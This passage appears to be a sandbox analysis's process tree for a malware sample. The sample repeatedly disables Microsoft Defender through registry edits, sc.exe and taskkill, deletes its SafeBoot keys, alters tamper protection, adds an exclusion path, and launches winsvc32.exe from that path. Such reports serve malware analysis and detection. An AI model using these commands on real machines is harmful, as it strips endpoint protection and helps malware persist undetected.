- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4588
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4212
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:752
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5700
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4556
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2744
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6080
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2468
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1892
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5436
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:4624
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:808
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:3904
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:2664
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:5012
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:5844
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1124
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1216
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:6084
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1192
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1488
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4572
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5296
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6068
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2640
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3436
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1560
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1348
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5464
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4928
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4700
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:5012
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5292
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Features\" /v TamperProtection /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5720
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Features\" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:1304
- C:\Windows\system32\cmd.exe
  "cmd" /c "powershell -NoProfile -c Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\WinSvc'"
  2⤵
  - Executes a command shell one-liner
  PID:2472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -c Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\WinSvc'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc config WinDefend start= disabled"
  2⤵
  PID:4832
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4368
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WinDefend"
  2⤵
  PID:4812
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:5640
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc config WdNisSvc start= disabled"
  2⤵
  PID:1700
- - C:\Windows\system32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1944
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WdNisSvc"
  2⤵
  PID:5624
- - C:\Windows\system32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:4212
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc config WdFilter start= disabled"
  2⤵
  PID:3952
- - C:\Windows\system32\sc.exe
    sc config WdFilter start= disabled
    3⤵
    - Launches sc.exe
    PID:4676
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WdFilter"
  2⤵
  - Executes a command shell one-liner
  PID:3328
- - C:\Windows\system32\sc.exe
    sc stop WdFilter
    3⤵
    - Launches sc.exe
    PID:5244
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc config WdBoot start= disabled"
  2⤵
  PID:3676
- - C:\Windows\system32\sc.exe
    sc config WdBoot start= disabled
    3⤵
    - Launches sc.exe
    PID:4512
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WdBoot"
  2⤵
  PID:2468
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2744
- - C:\Windows\system32\sc.exe
    sc stop WdBoot
    3⤵
    - Launches sc.exe
    PID:4564
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc config SgrmBroker start= disabled"
  2⤵
  PID:4616
- - C:\Windows\system32\sc.exe
    sc config SgrmBroker start= disabled
    3⤵
    - Launches sc.exe
    PID:2848
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop SgrmBroker"
  2⤵
  PID:4872
- - C:\Windows\system32\sc.exe
    sc stop SgrmBroker
    3⤵
    - Launches sc.exe
    PID:4456
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:3196
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:5896
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:1300
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:3460
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MpDefenderCoreService.exe"
  2⤵
  PID:3876
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MpDefenderCoreService.exe
    3⤵
    - Kills process with taskkill
    PID:4568
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im SecHealthUI.exe"
  2⤵
  PID:3068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5860
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:2180
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:1852
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:3732
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:3252
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MpDefenderCoreService.exe"
  2⤵
  PID:4880
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MpDefenderCoreService.exe
    3⤵
    - Kills process with taskkill
    PID:4676
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:2760
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:1936
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:1352
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4512
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:2456
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4564
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2744
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2848
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2300
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4456
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5340
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1428
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1760
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4700
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2636
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4960
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4080
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4164
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:472
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2844
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:2796
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:2852
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1192
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4908
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:1804
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:4448
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2264
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6068
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3276
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:428
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2672
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5888
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5800
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2512
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4308
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2800
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4424
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6020
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:1484
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:5084
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:2280
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:2572
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:4436
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:1504
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:1216
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:4484
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4992
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4224
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2408
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3540
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5076
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4448
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4660
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2052
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1944
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4988
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1264
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2308
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:424
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:5408
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:4856
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:4296
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\.NETFramework\" /v OnlyUseLatestCLR /t REG_DWORD /d 1 /f"
  2⤵
  PID:5360
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SOFTWARE\Microsoft\.NETFramework\" /v OnlyUseLatestCLR /t REG_DWORD /d 1 /f
    3⤵
    PID:1276
- C:\Windows\system32\DISM.exe
  "DISM" /Online /Enable-Feature /FeatureName:NetFx3 /All /NoRestart
  2⤵
  - Drops file in Windows directory
  PID:2300
- - C:\Windows\System32\Dism\dismhost.exe
    C:\Windows\System32\Dism\dismhost.exe {73F68EA0-6331-45F8-B414-CD3ADCAB9861}
    3⤵
    - Drops file in Windows directory
    PID:3360
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:904
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:3388
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:928
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1192
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5716
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3252
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4920
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1928
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:428
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5668
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5888
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:272
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1936
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3456
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1532
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2744
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6020
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:3780
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:3076
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:716
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:4484
- C:\Windows\system32\cmd.exe
  "cmd" /c "start \"\" \"C:\ProgramData\Microsoft\WinSvc\winsvc32.exe\""
  2⤵
  - Enumerates connected drives
  PID:3316
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4908
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:1620
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:4104
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1852
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4664
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3408
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4496
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4988
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5796
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2800
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1168
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:824
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
